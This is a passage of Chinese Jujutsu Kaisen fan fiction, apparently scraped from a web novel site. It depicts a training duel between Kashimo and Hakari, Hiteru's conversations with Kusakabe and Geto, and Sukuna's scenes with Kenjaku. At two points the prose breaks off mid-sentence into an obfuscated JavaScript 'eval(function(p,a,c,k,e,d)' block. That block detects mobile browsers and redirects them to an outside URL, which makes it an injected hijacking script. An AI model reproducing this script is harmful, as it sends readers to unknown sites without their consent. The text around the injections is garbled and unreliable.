伏黑惠和虎杖悠仁说过类似的话。也许虎杖悠仁和东堂葵这样浑身肌肉、看起来喜欢横冲直撞的家伙在旁人看来总会刻板地认为他们不善头脑,但事实上他们可不是肌肉笨蛋,虎杖悠仁的心思细腻且敏感,有远超他人的责任心。 伏黑惠、乙骨忧太、钉崎野蔷薇、五条悟,还有二年级的学长学姐们,每一个碰到他的人都会用语言或行动来让他努力摆脱涩谷时留下的阴影,极力为他拨开眼前的阴霾。 可是,正因为有这样温柔的同伴们,他才必须坚定自己的意志,去做他应该做到的事。 包裹在信念之外的虚假外壳会不断碎裂,直到最坚硬的内核露出来之后,虎杖悠仁才能找到自己的力量源头。 但是啊......虎杖悠仁难得有些发愁,抱着膝盖皱起眉头。他还是觉得五条老师有哪里说得不太对。 那个人,真的是准备一个人去死吗? ......他那天似乎不该和日照星海说那句话。 关于寂寞的事。 “悠仁,”胀相过来找他,“来这边。” 虎杖悠仁起身,训练场上的结界还没有消失。胀相的手中捧着一个黑色的盒子,里面散发着他们非常熟悉的咒力气息。 “这样真的好吗,胀相?” 咒胎九相图的兄长看着弟弟嘴角的伤疤,他还记得第一次与悠仁相遇后,对方只在短短几个小时就变得面目全非的神态,低下头和蔼地笑了起来。 “悠仁,你觉得我们是人类吗?” 虎杖悠仁的视线还停留在装有剩余九相图的盒子上,说道:“在我看来,你已经是最棒的哥哥了。” 胀相抚摸着弟弟们。坏相、血涂之后的九相图不具有受肉的能力,它们将来只有在“束缚”的限制下散发着骇人又诱人的气息,永远这样不生不死地“活”下去。身为兄长,他曾经选错了道路,带着弟弟们走上了看似轻松实则摇摇欲坠的那一侧。 如果他当时能够拥有不畏惧任何考验的决心,是否如今就不会失去坏相和血涂? “......它们会活在你的身体里。” 而我无论如何都会保护好你。 —— 在秤金次的领域【坐杀博徒】之内,时间的流逝似乎比外界慢很多。 鹿紫云一扛着他的棍子,这个领域内施行的规则在展开的一瞬间就会强制塞入领域内所有人的大脑,虽然清晰明了,但因此也很难从其中找到漏洞。 “喂,说好的,第一次你这家伙不许给他作弊!”鹿紫云一指着日照的鼻子威胁道。 日照举起双手表明自己非常无辜,他只是对秤金次术式本来的面貌很好奇而已。这个年轻的赌徒和日车宽见术式的性质类似,他们的术式本身几乎没有任何作用,只在领域展开后才能体现出杀伤力。 从【代理人】之中钻研出的扩张术式·心外梦可以将任何人心中的生得领域具现化出来,日照觉得对于没有开启过领域的术师来说,这种方法是个观察可能性的好机会。他可以找机会试试从秤金次和日车宽见体内拉出领域,看看会是他们术式自带的领域,还是其他的模样。 “哼,不用他帮忙,好运也会站在我这一边。” 运气这种东西从来都是站在拥有激情的一方啊! 【坐杀博徒】内进行的是现实世界真实存在的柏青哥游戏,名为CR私铁纯爱列车1/239。 在现实世界,这个游戏的规则很简单。开始之后,游戏机的屏幕上会出现三个不断转变的图案。它们会在一定的间隔时间后逐一停下,三个图案一致就是中大奖的意思。 出自中村蜜糖老师笔下的青年爱情喜剧漫画经典之作《私铁纯爱列车》只是赋予了那些图案一个故事背景,在抽取以故事人物做成的图案时更具有代入感。1/239就是三个图案一致、中大奖的概率。 “来吧,开赌!”在秤金次的话说出之后,他们周围的景象改变了。 一片纯白的结界空间内,无数闸机将鹿紫云一和秤金次围在了正中间。不知道是不是秤金次故意的,日照被闸机组成的环状隔离带关在了外面。 秤金次从兜中掏出了一颗球,向鹿紫云一弹射了出去。 球在靠近鹿紫云一的瞬间消失了,他动作敏捷地跃起,躲开了一扇横着凭空出现在他周围的闸门。在进入领域后,先是通常阶段,在开始抽奖之前的这段时间,秤金次也可以通过鹿紫云一遇到的这种方式进行攻击。 这些球和闸门会有不同的颜色......也就是说在通常阶段里,秤金次的攻击会变成预告演出。鹿紫云一猜测闸门的颜色代表了不同的概率和价值。 日照在心里给它们换了一个好理解的概念。在【坐杀博徒】内的游戏并不需要从第一个图案开始抽取,也就是说前两个图案一定是一样的,需要考虑的只有它们究竟是金苹果还是银苹果。金苹果大奖比银苹果大奖的价值更高,当然凑齐三个金苹果的概率也就越低。抽取前两张图案价值的过程就是预告演出的阶段。 鹿紫云一很快就发现在预告演出的阶段,他是可以对秤金次发动攻击的。但是这一阶段的持续时间太短了,他刚刚向前跃起,周围的景象就再一次发生了变化。 预告演出结束后会宣告“立直”。秤金次手上已经有了两张相同的图案,等待第三个正在转动的图案固定下来的过程就是在抽取“立直动作”,同时他们周围也会出现具象化的“抽卡动画”。 毕竟这个游戏是有令人心脏怦怦跳的恋爱背景故事,出现在故事中的人物们每一个选择都意味着第三个图案出现变化的可能性。 日照看着突然变成一个非常眼熟、但看起来是虚构出来的地下空间,这里的标识、墙上的广告语和闸机都似曾相识,并非现实世界中的某一个站台入口,而是综合了无数站台的景象后拼凑出来的一个幻想中、《私铁纯爱列车》故事中的地下入口。 秤金次这次抽到的前两张图案是“金苹果”。 最后一张图案的抽取动画开始了。 只要站在列车站台上的男主人公在遮挡视线的列车开走后还能看到站在对面站台的女主人公,这最后一张图案就是“金苹果”! 日照的手从男主人公的身体上穿过,这些只不过是没有实体的动画形象,和领域展开中由生得领域具象化出来的产物一样没什么作用。在此期间,鹿紫云一能做的选择就是在一旁乖乖看着,或者在抽奖动画结束前击败秤金次。 鹿紫云一浑身包裹着闪电冲向了秤金次,在两人战做一团的同时,抽奖动画还在继续着。 这家伙的咒力...... “呦呵,麻麻的。” 跟锉刀一样粗糙啊。 鹿紫云一眼下的闪电纹路愈发闪亮,秤金次的体术很强,但在没有“奖励”援助的情况下想要战胜四百年前的最强咒术师,还是差上一些。不过坚持过抽奖动画的这段时间倒是没有任何问题。 “啊,她回家了啊。”日照蹲在男主人公的身边,对面的站台上空无一人。 周围的景象霎时又是一次翻天覆地的变化,他们回到了最开始的那片纯白无暇的空间,依旧是无数环绕在鹿紫云一和秤金次身边的闸机隔开了他们和在旁边看热闹的日照。 【坐杀博徒】会持续到术师抽到大奖或者被杀死。 “1/239的概率,你觉得自己还能撑多久?”鹿紫云一一甩棍子,负电荷正在积攒,只需要再来几次他就能彻底击溃秤金次的身体。 CR私铁纯爱列车并不是在固定的抽数内没有抽到大奖就会不断提高中奖概率的类型。 “我啊,不管概率多低,都是可以在30次以内抽到的那种人,”秤金次再次甩出一颗球,这次的颜色和第一次不一样了,鹿紫云一躲开的闸门变成了炫目的七彩颜色,“别太羡慕我。” “哇哦,超级‘金苹果’!”日照坐在闸机上,下一秒身下一轻,他们重新来到了让人小鹿乱撞的站台上。男主人公在桥上飞奔,对面的站台已经没有女主人公的身影了。 在抽取动画的播放过程中,秤金次可以利用几种手段来提高抽出大奖的概率。但是现在他并没有选择通过那些方法来合理地作弊,他刚刚说的话可不是自夸,而是实打实的事实。 矮身躲过鹿紫云一的一棍子,秤金次忽然发出了一声怪叫。男主人公在站台的死角处找到了满脸通红的女主人公,在令人浑身散发粉色泡泡的心动氛围中说出了告白的话语。 “COOL~!!” 领域瞬间消失,秤金次像是变成了一座正在喷发的火山口,宛如深藏大地之下的熔岩一般厚实的力量满溢了出来。 “有点本事。”鹿紫云一感受到对方身上不断涌出的咒力,看来秤金次所言不虚,他的确是个受到“激情之神”眷顾的强运之人! 在接下来的4分11秒内,秤金次将会拥有无穷无尽的咒力。私铁纯爱列车的主题曲《若能立足于那方》的音乐声响起,鹿紫云一给出的回答是同样无限膨胀起来的轰鸣雷声。 日照看得很清楚,为了不让无限的咒力伤及自身,秤金次的肉|体正在自动运转反转术式。也就是说,在抽中大奖后的这4分11秒,秤金次都将是真正的不死之身。 秤金次瞥见了他有些蠢蠢欲动的手指,但是还没等他说什么,日照就被飞身而来的鹿紫云一一脚踹了出去:“你小子滚远点,别打扰我的好兴致啊!!” 该看的也让他看了,难得鹿紫云一遇到这么合胃口的对手,接下来就是真正的“战斗时间”了!! 4分11秒,解除了咒力限制的无敌模式,也就是说只要撑过这段时间,在下一次进入【坐杀博徒】之前积攒足够多的电荷,胜利者就会是鹿紫云一。 秤金次在抽奖的过程中可不是不死之身啊! 但是,这是废物的思维。 秤金次看着正面袭来的轰雷,断眉舒展,露出了看到同类的兴奋笑容。这才对!!咒术师与咒术师之间的战斗就应该是这样“拼上性命作为赌注”,这样的战斗哪怕以死亡作为结束也会是令人心潮澎湃的生前葬!! “被迫”离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344135|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场的日照得到了与他不老实的行为相等的对待,鹿紫云一那一脚直接把他踹出了训练场。撞开大门飞出去之后,日照和正往这边走的庵歌姬擦身而过。 “哈!?你又在搞什么啊!?” 在他扶着头站起来的时候,庵歌姬用带着几分见怪不怪、几分谴责的语气说道。 “如你所见,”日照摊手,“里面那两个人都是打上头了会动真格的类型。好久不见啦歌姬。” 庵歌姬哼了一声:“谁在打?这么久没见你还是和以前一模一样啊,弥山。” “你倒是变强了不少嘛,歌姬。” 庵歌姬的脸上在某次任务中留下了一道横贯脸颊和鼻梁的伤疤,和日照掀起眼罩后的右眼旁那片痕迹差不多。看起来有一些年头了。 “托你的福,那段时间我可是......”庵歌姬有点难以再维持这场看似正常的对话。就像是突如其来的天灾,又或者是无法避免的灾祸,当被告知“昨天在一起吃寿喜锅的人们你再也见不到啦”,庵歌姬脑子里第一时间想到的居然是他们曾经一起干过的那些蠢事。 那些青涩的、愚蠢的、羞赧的笑脸,就这么猝不及防地变成了一滩只有她还记得的回忆,像是死水潭一样,不会再流动着发出悦耳的水流声。只会在投入石子的时候出现阵阵涟漪。 “里面是秤和鹿紫云在打,”日照指了指他刚才撞开的那扇门,“估计训练场要翻修了。” “那、那不是大事不妙了吗!?你为什么不阻止他们啊!?”庵歌姬扯着他的衣领摇晃着说道,然后看着日照有些心虚的表情恍然大悟:“我就知道!!” 日照:“哈哈,我会看着他们的啦。而且......” 他黑色的那只眼睛向侧方一转,把在转角处默默躲藏着的日下部笃也盯得冒出一身冷汗:“这不是了解他们真实实力的最好时机吗?” 庵歌姬松开手,仍旧不赞同:“现在正是最关键的时间,且不说鹿紫云一是否真的能够信任......说到底他毕竟是古代受肉的术师,不一定会乖乖听我们的安排吧?” “这个嘛,”日照放过了叼着棒棒糖棍的日下部笃也,视线重新看向训练场的方向,“等这场战斗结束之后大概就能知道了。” 庵歌姬眯起眼睛,又转头看了看日下部笃也。 “算了,”她抱着手臂准备离开,“日下部先生!不要躲在那里了,熊猫他们一直在找你!” 并没有打算摸鱼却被误会了的一级咒术师先生从藏身处转了出来,声音还是一样的懒散和不耐:“啊,真是的,你们五条家的眼睛都这么好吗?” 日照纠正他:“严格来说我们已经被除名了。” 日下部笃也瞪着死鱼眼,对他报复性的咬文嚼字颇觉无奈。总有一种和还在青春期的小男生对话的错觉......一定是错觉对吧? 庵歌姬脚步匆匆地走了,她在京都校的校长乐岩寺嘉伸前往北海道之后就开始着手接过了一些京都校的事务,在安顿好学生们之后还有无数的工作等着她去做决定。 这里已经不是“窗”的总部,而是五条家名下的一片私人土地,这里有面积足够大的训练场和可以满足任何生存需求的基础设施,原本聚集在“窗”总部的咒术师们都基本上搬到这边来了。 有物部家族的咒术师在这里设下了结界,比原来的总部要安全不少。 “来谈谈?”日照一歪头,了然地笑道:“看你一副总想说点什么的样子。” 日下部笃也有点怀念可以随意抽烟的日子,但是如今也只能咬着代替品转上几圈。 “你也来打宿傩吧。”纠结了半晌,日下部笃也憋出这么一句。 日照眯起眼睛:“理由?” 没有干脆了当的“我才不干”,也没有皆大欢喜的“好啊”,日下部笃也简直要汗流浃背,他在脑海中不停扒拉列举出来的、可能说服这个人的理由。 训练场里传来令人牙酸的战斗声,吸引来不少人围观,可是他们所处的二层露台也被鹿紫云一的雷电波及,有个倒霉蛋直接被送到了家入硝子那里去。 一层的大厅倒没有其他地方那么闹闹哄哄的,日照拍着衣摆上的灰尘,等待日下部笃也的答案。 乙骨那小子说的没错啊......果然这种中立boss最难搞了,虽然知道日照兄弟的第一目标是羂索,将他们直接安排进羂索突袭的那一方最简单,但宿傩这边如果浪费了这么好的战力也是个罪过......不对不对,说明这些的前提是假设五条悟会在最终决战中落败,有日照弥山的术式在,他们可以梦想五条悟一发“茈”解决宿傩的美好景象吗?但是这样的话就不能让他去找羂索了...... 已知杀死羂索也不能结束死灭洄游,但是杀死他可以停止“非术师与天元的超重复同化”,所以羂索必须要死。羂索和宿傩之间凑得太近,他们没有什么下手的机会,只能等到今年最后一天的最终决战时将他们分开。 羂索恐怕也打着这样的主意,趁着宿傩吸引了五条悟和大部分术师的时间好独自去解决古代术师们,结束死灭洄游这个游戏从而开始同化。 “你还没考虑好吗?加油啊,总指挥先生。”日照语调轻巧地说,听上去就像是在看日下部笃也的笑话。 日下部笃也深吸了一口气,将大脑中纷乱的思绪统统抛弃,抬起眼睛直视日照探究的目光:“是你的话,杀掉羂索用不了那么久。回来跟着我们继续战斗啊,你不是咒术师吗?祓除两面宿傩的‘诅咒’,本来也有你的一份!” 而且,这可能是自平安时代之后,前无古人后无来者的一场咒术盛宴,以此为生的你真的不准备来凑个热闹吗? 日照哈哈大笑:“挺能猜的嘛,不过你赌对了——” 日下部笃也听到这里放下了一半的心。 “——一半。”日照的话又将日下部笃也已经放进肚子里的心提了起来:“其他的就看你的本事了。” “......已经足够了。”日下部笃也擦掉额头上冒出的汗珠。 在五条悟失败后延续他留下的攻势,这是夏油杰亲手交给日下部笃也的任务。 为什么是我?看起来每天都在混日子的成年人不可置信地指着自己,就像是亲眼看见自己双腿无法站立的妹妹突然下地跳了一首华尔兹一样震惊。如果单论领导者的才能,那不是还有大把的咒术师可以选择吗? “因为日下部你是咒术师啊。” 又在说这种让人云里雾里的话,日下部笃也讨厌那群说话总是留一半含在嘴里的家伙,要是掰开嘴去看到底藏了什么倒让人觉得怪恶心的,所以只能留给他自己猜来猜去。 不知道多少年之后才猜中谜底的经历又不是没有,可是大家总是喜欢这么干。 ——你不知道吗?你很可靠啊。 未说出口的话是众人皆知的事实,所以不必多说,自然会有人主动跟上他的步伐。 65.阿喀琉斯之踵 秤金次上身的衣服彻底在电力的灼烧下灰飞烟灭,现在光着膀子坐在满地焦糊味的训练场上,徒劳地将自己缩进靠近边缘的屋檐下躲避破裂的地下水管道里喷出的水柱。 同样狼狈的鹿紫云一不爽地嘁了一声:“偏心的小鬼。” 日照“嘿嘿嘿”地笑着。 两人的确都打得有点上头,逐渐动起真格来了。在面对拥有无敌模式的秤金次时,鹿紫云一已经窥见了这个状态的漏洞。 咒力来源于腹部,但反转术式却是从大脑开始运转的,如果卡住正极能量“脑——身体”的流转过程,那么术师将无法继续使用反转术式。秤金次是因为源源不断的咒力迸发才能做到全自动运转反转术式,既然没有机会做到终结反转术式发动的流程,那么也可以从正极能量的来源下手。 大脑。人体内最神秘的一块区域,位于右脑前额皮质处刻印着术式,构成反转术式的正极能量却不是从此处诞生的。也就是说,大脑的不同区域在咒术上同样有着不同的作用,那么在未知的地方又存在着什么样未经发觉的能力呢? 鹿紫云一没有深入思考这些问题,但仅仅知道正极能量的来源就足以让他寻找到破解之法。 他不断提高着这场战斗的声量,在《若能立足于那方》的激情曲调中增添进了他的新欢电子乐。分离出去的正电荷在他的引导下聚集在了秤金次的额头,自身积攒的负电荷也已经足够多,鹿紫云一以回授电击的方式拉回了秤金次身上的电荷。 如果大脑被破坏的话,就算再强力的反转术式也救不回来了吧? 日照那个小鬼没管他,所以鹿紫云一的指尖有苍白色的闪电炸裂开,另一端直指秤金次! 巨大的压力从头部传来,最先感受到的是来自直觉的死亡预告。受到挤压而变形暴突的眼球从眼眶中脱出,几乎瞬间失去了半侧的视野。来不及进行思考,此时的一举一动全都凭借战斗的本能来完成。 全自动发动的反转术式让秤金次得以在受到伤害之前就开始进行肉|体的治疗,并且有机会通过口鼻将鹿紫云一打进他身上的咒力尽数排出。 “你这混蛋!!我刚才可是差一点真的要死了啊!!” 秤金次并不是在谴责鹿紫云一不守规矩,他反而满脸笑容。就像是孤注一掷的赌徒最后一注连本带利地赢了回来,跟随在死亡阴影之后的正是将生命作为赌注的疯狂赌徒燃烧着的肾上腺素和狂跳的心脏。 也许这就是,秤金次期盼的热情。 鹿紫云一在心中计算着时间。秤金次已经将4分11秒的概念牢牢刻入感官,他不会浪费任何一秒钟,鹿紫云一刚才的这一招应该需要不少准备时间,现在无敌模式的剩余时间不足十秒,在这期间鹿紫云一不可能再对他造成刚才那样千钧一发的攻击。 鹿紫云一的武器被击飞了出去,他索性开始和秤金次在场地内赤手空拳地搏斗。 音乐终止的那一刻,秤金次非常熟悉的闪电重新汇聚在鹿紫云一的指尖。失去无限制咒力的身体被连接着武器和鹿紫云一指尖的电流击穿,从武器上拉回的回授电击炸坏了秤金次的半个身子。 鹿紫云一胜券在握:“需要我帮你叫人吗?” 秤金次的回答是一个疯狂的笑:“领域展开,【坐杀博徒】!!!” 进入熔断期的术式在刚刚已经恢复,鹿紫云一尝试着展开弥虚葛笼抵抗领域,但秤金次的速度更快。他的领域不具备必杀效果,因此展开的速度极快。 “没用的,在抽奖阶段你可不是不死之身,这样的伤势根本坚持不到抽到大奖。”鹿紫云一笃定地说。这不过是在白白浪费生命,作为一个还算不错的“对手”,鹿紫云一可以大度地让秤金次继续活下去。 失去了部分内脏和脊柱,秤金次的身体随着重力向着一侧倾斜,整个人面色如土,看起来已经陷入濒死状态。 可他依旧在说话。 “人们常说小赌怡情,人生亦是适度享乐。” 作为最受欢迎的柏青哥游戏,CR私铁纯爱列车的玩法可不会这么循规蹈矩。在每次的抽奖阶段,不管是抽出前两张图案还是最后一张,都有概率触发一些能够提高中奖率的“几率事件”。 鹿紫云一发现本该按照“通常阶段”——“立直抽奖”——“动画演出”顺序进行的领域直接跳过了前面所有的阶段,等他意识到的时候,最后一张图案已经抽选完毕。 “音乐~”秤金次的伤口瞬间恢复完全,枯竭的咒力同样如同海水倒灌一样充盈了起来:“再来一次!!!” “你还真是......运气好到让人嫉妒啊!!!”鹿紫云一目露凶光,翻倒的地面被他一脚踏碎,爆裂的水管中有水流奔涌而出,当头淋下。 鹿紫云一没有在乎那喷到几乎与二层露台一样高的水柱,暴露在有水存在的环境反而对他来说更加有利一些。 一滴水珠飞溅到了他的眼角,流入眼眶后居然让他的眼睛感觉到了一阵刺痛。 这水......!?他接了一滴尝了一口,在味蕾给出答复之前,身体不自觉地泄露咒力的现象已经说明了问题。 这水是咸的! “......”鹿紫云一双手一摊,没了兴致:“不打了,你这人真没意思。” 日照不以为意:“哪怕被发现了这个弱点,你也有办法应对吧?如果不想晚上洗澡没热水的话就赶快叫人来修水管。” 鹿紫云一退开了半步。 秤金次感受到了淋在他们身上的水散发着一股潮湿的气味,闻起来就像是靠近冲绳海滩时迎面而来的海风的味道。 “海水?” 虽然已经听说过日照的术式,但还是没想到居然能做到这种事啊。 “点石成金也能做到吗?”他突然问道。 日照不肯定也不否认:“只要你付得起代价。” 秤金次撇嘴,根本不相信日照的话:“你的语气听起来就像在说会把我浑身上下的宝贝玩意儿都摘走卖掉。” 日照笑道:“太夸张了吧?待会日下部找你们有事,解散解散!” “所以你一开始过来是要干嘛啊......”鹿紫云一抱怨着拧干了衣摆的水,拎着武器走人了。 “......”秤金次没着急离开,他能听到伊地知洁高在训练场外打电话报修水管的声音。 “......不用那么看着我,”日照的身上一滴水都没有,不知道他究竟是怎么做到的,“不管是作为同伴还是敌人,终归是了解得更多才能抓紧更多筹码。” 他的视线飘到秤金次身上:“你的‘无敌模式’也不是真的无敌......谁都一样。” 秤金次搓着自己的小胡子,三角形的眼睛让他看起来很不好惹,像是整日混迹在歌舞伎町小巷中的不良暴走族。 “老实说,我根本想象不到五条悟会输。” 以日下部笃也为领头者,咒术界的高端战力们却都在思考五条悟输掉决战后的应对之策。 “不会输的啦,”日照托着下巴,喷涌的水柱在半空形成了半道彩虹,在阳光下熠熠生辉,“年轻人就是容易想太多。” “......”秤金次看着日照离开的背影,觉得这个人真的很神奇,又很莫名其妙。仿佛自如地穿梭在世界之中,却从没在水面之上留下半点涟漪。 回宿舍的路上日照看到了不少很年轻的面孔。大部分人已经对他这张脸很眼熟了,不得不说网络的力量还是很强大的。 推开门的时候,夏油杰正在宿舍里等他。 “我就知道你不会去,所以擅自来这边等你了。” “......你怎么变得这么客气了,杰。” 夏油杰闻言在沙发上换了一侧靠着:“那我可就随心所欲了?” “不,还是请你悠着点吧。”日照扭开一瓶矿泉水,他已经在路上听到有人抱怨水龙头里出来的水居然是咸的。 罪魁祸首没有丝毫歉意,靠在桌子旁边。 “你怎么想?”日照随意地问道:“那个叫日下部的已经找过我了。” “怎么样?他可是现在最强的一级咒术师。” “毕竟是新·阴流......不过冥冥居然还敢同意让她弟弟去学简易领域,她是准备卸磨杀驴吗?” 夏油杰说道:“她最近的确很忙,什么叫‘卸磨杀驴’啊......明明是‘为民除害’才对。” 他们对视一眼,对对方的言下之意了然于胸。 有关新·阴流的秘密,实在不怎么光彩。平安时代的芦屋贞纲创建新·阴流也许真的只是为了在咒术全盛时期给门下没有术式的弟子们一个可以活下去的方法,开发了属于弱者的流派,从奥义·弥虚葛笼中完成了简易领域的研究。 为了防止将这种技法流传到流派之外,才立下了“束缚”,导致简易领域只有新·阴流门下弟子才能学习,无法传授给他人。 若只是为了保留技法的纯正,就像是御三家死守相传术式一样,倒也无可厚非。大概是从上上代开始,新·阴流的当主就以不断扩充门下弟子的数量为目标,想要成为与三大家族平分秋色、在咒术界拥有更多话语权的流派。 膨胀的野心与欲望,这是再常见不过的人之本性。但是达成这样的目标却需要超乎寻常的时间,想要亲眼目睹大业完成的新·阴流当主开始隐秘地通过某种咒术吸取门下弟子的生命,并且隐姓埋名,除非自己亲口承认,否则没有人知道现在的新·阴流当主究竟是谁。 到底是从上上代手中继承的位子,又或者只是一个已经腐化的旧人换了新的面貌重新坐上这个当主之位,就更不得而知了。 以冥冥的手段,找到这个老家伙都花费了好几年的时间。简易领域由新·阴流一门独占,落花之情由三大家族秘传,需要忧忧来帮她解决领域的冥冥如果不想欠人情,就只能选择让忧忧学习新·阴流,然后她本人来解决其他的问题。 其他人对此本就没有异议。如果简易领域能够传授给更多人,就会有不少术师能够幸免于难。 不过,像日照和五条悟这样的人也会使用简易领域。他们用那双眼睛作弊,当初设立“束缚”的时候似乎并没有将偷学偷看算入进去,也算是留下了一个可以取巧的地方。 “你不去也没关系吗?让日下部自己挑大梁?” 在大堂召开的作战会议已经乱七八糟地开始了,夏油杰本人还在日照的宿舍安然坐着喝茶:“都是一群孩子,日下部去的话更好一些。想留下的留下,想走的就走,不必有任何心理压力。” 他说到这里顿了一下,又旁若无人地继续说:“他们需要做出的是不会让自己后悔的选择,这样挺好的。” 不必因为教养之恩而强迫自己,不必因为强者的存在给自己施加虚无的安心感,仅仅凭借自己的本心,去感受危机,然后做出选择。 就像五条悟愿意放走秤金次和星绮罗罗,给伊地知洁高找到了一条逃跑的路线,还有这近十年里因为各种各样原因离开咒术界的孩子们一样,选择留下来的都将是同伴,他们之间不会再有“学生”和“老师”之分。 “你也变了不少啊,杰。” 夏油杰抬眼。变化最大的是他眼前这个人,甚至在死灭洄游开始后的这短短一个月,他的行事态度就发生了天翻地覆的变化。 曾被他利用过的丽美如今在北海道联合总部找到了工作,能够摆脱过去的生活方式,重新开启自己的人生。 “你呢?现在的你,又是怎么看待这个世界的呢?” 好好地待在基地里,好好地听人说话,这些行为总是让夏油杰从他身上看到另一个人的影子,还是说……就像五条悟看到的那样,他们已经渐渐无法区分彼此的存在了呢? “鸟还是鸟,柳叶还是柳叶。这双眼睛看到的东西从来都没有改变……我知道的。” 日照说罢,紧跟着补上了一句:“虽然的确跟日下部那么说了,但是情况可能随时会变的嘛。” “只有杀了羂索,之后的一切才能重新与我们有关。” —— 羂索看着从深池中缓步走上来的宿傩,里梅恭敬地奉上了干净衣物。 “谢了,你一直都是这么贴心。”宿傩的随口夸赞让里梅内心的雀跃溢于言表,羂索对此早就习以为常。 他们之间的关系比旁人臆测的更加亲近,但那是建立在千年以前定下的“束缚”基础上,若论朋友……呵呵,成为羂索的朋友,条件倒是苛刻得很。不如说他很挑剔,不过总比宿傩要好的多。 里梅看见羂索脸上莫名露出来的“得意”笑容,愈发不耐地驱赶道:“仪式不是已经完成了吗?你还凑在宿傩大人身边干什么?” “如何,宿傩? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351094|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这具躯体的术式磨合起来应该难不倒你。” “呵。”宿傩懒得搭理他,叫出小金看了一眼如今的分数排行。 原本为了压制伏黑惠的灵魂,他打算毁掉伏黑津美纪。但是万居然输了……宿傩倒也谈不上是在可惜,只是觉得白白浪费了这个好机会。 在薨星宫和五条悟他们对峙的时候宿傩撒了谎。伏黑惠的灵魂替他承受了来自噬魂刀的进攻,本应因严重受损而沉寂的意志却在听到亲人的名字之后又蠢蠢欲动了起来。 明明打他爹的时候就没这么大反应,是巧合还是……他对那个天与咒缚的能力那么自信? “伏黑津美纪如今在咒术师们的总部,”里梅已经打探到了五条家名下的那个产业仍在东京,只不过远离市区,藏在山里,“接下来需要去找她吗?” 宿傩尝试着抓握了一番,被躯体主人压制的感觉几乎完全消失了,“浴”的作用已经开始体现了出来。 食指指腹有一道未愈合的伤,皮肉边缘已经泡得发白,深处透露出惨淡的红。 “没必要了,”宿傩放下手,看向羂索,“你的贡品呢?” 羂索挑眉说道:“我已经全都交给里梅了……哈哈,你绝对想不到天元把它放在哪里了。” 宿傩撇嘴,一看到羂索这种“我有秘密要说,快来问我”的表情他就觉得很麻烦。 如果羂索去演单人喜剧,肯定不会冷场,他自有可以让自己毫不尴尬地继续说下去的方法。 他“奉上”的贡品是两面宿傩死后留下的即身佛。这种修行方式盛行于江户时代,修行者会通过三个阶段不断减少身体内的体脂和水分,饮下有毒的汁液让身体变得剧毒防止死后有虫蚁破坏尸身,最后进入狭小的石室内坐定,当修行者不再每日摇铃,石室就会被彻底封闭。 等到三年后,石室重开,如果肉身不腐,即被视为成就即身佛。 宿傩的强大保证了肉身不腐,其肉|体本就含有剧毒,驱离了妄图靠近的虫蚁与咒灵。待他死去,有人为他穿上僧衣,送入了地下。 里梅找到了剩余散落在外的手指,可只有最后一根,他没能获得任何消息。 “无所谓,反正肯定是在五条悟手里。”宿傩知道五条悟这样的人是不可能同意“在虎杖悠仁吞下二十根手指后对他处以死刑”的,对咒术总监部那些人也是阳奉阴违。估计准备用那一根手指做点什么吧? 羂索不知何时已经离开了,他们之间的“束缚”已经完成,在宿傩和五条悟进行决战之前,他还有一些事必须要去做。 “哼,”宿傩捧起羂索送回来的即身佛头颅,扔掉了僧帽,“这是羂索......不,应该是天元吗?是在讽刺,还是说......” 区区一根手指的灵魂对已经吞下19根手指的宿傩来说已经无关紧要了。他的灵魂已经趋于完整,但从选择切割肉|体制作咒物开始,灵魂的损伤就已不可避免。那些想要成为人类的咒灵里有一个能够玩弄灵魂的家伙,在它看来灵魂与肉|体没什么区别,它们并非包含与被包含的关系,而是共存共生的。 凶恶的鬼神死后身躯同样会化作凝聚了数百年恐怖的剧毒之物,或许会被封印,或许在这千年里有什么方法能够毁掉那具尸体,宿傩本人都对此不抱期望。但是没想到居然以即身佛这样代表着至高无上的修行成就的姿态重新出现在他面前。 “真是滑稽啊,天元......”宿傩吃下了仍保留有部分灵魂力量的头颅。 —— 作战会议结束后,选择留下来的人聚在大堂前方的讲台附近。 乙骨忧太是在刚才过来的,和他同为特级咒术师的九十九由基已经离开基地,去寻找自己的伙伴了。 “老实说,居然能留下这么多人......”日下部笃也看起来像连续加班了好几天一样神色疲倦,不过他平时就是这幅样子,倒也没人觉得奇怪。 围在他身边的大多是高专出来的人,像鹿紫云一、石流龙这样为了和宿傩打架留下来的泳者识趣地没有靠近。 “现在已经有计划了吗,日下部先生?”乙骨忧太问道。 “啊?计划......”日下部笃也嘴里叼着的糖棍动来动去:“如果五条能赢,那我们就不需要任何其他计划。不过,应该要分为两个战场,羂索那边必须要有人去解决。” 如果日照能利落地干掉羂索,那简直万事大吉了。只需要两个人就能换来咒术界的和平,虽然这样会显得他们很没用,但已经是最完美的结局了。 “日照先生肯定会去羂索那边,”乙骨忧太担忧地说,“只让他一个人去吗?五条老师战斗的时候我们真的什么都做不了吗?” 钉崎野蔷薇说出了所有人的心声:“感觉除了夏油老师,我们上去也是拖后腿,比起帮倒忙还不如让五条老师不用分心照顾其他人。” 禅院真希提问:“日照不是说他有个咒具吗?钉崎,那是你们家的东西吗?” “啊,那玩意用不了,”钉崎野蔷薇解释道,“使用绳文土偶需要施术对象的部分肉|体,就算能拿到伏黑的,造成的伤害不知道是会针对宿傩,又或者只对伏黑起效果。” “那,用‘那个’呢?” 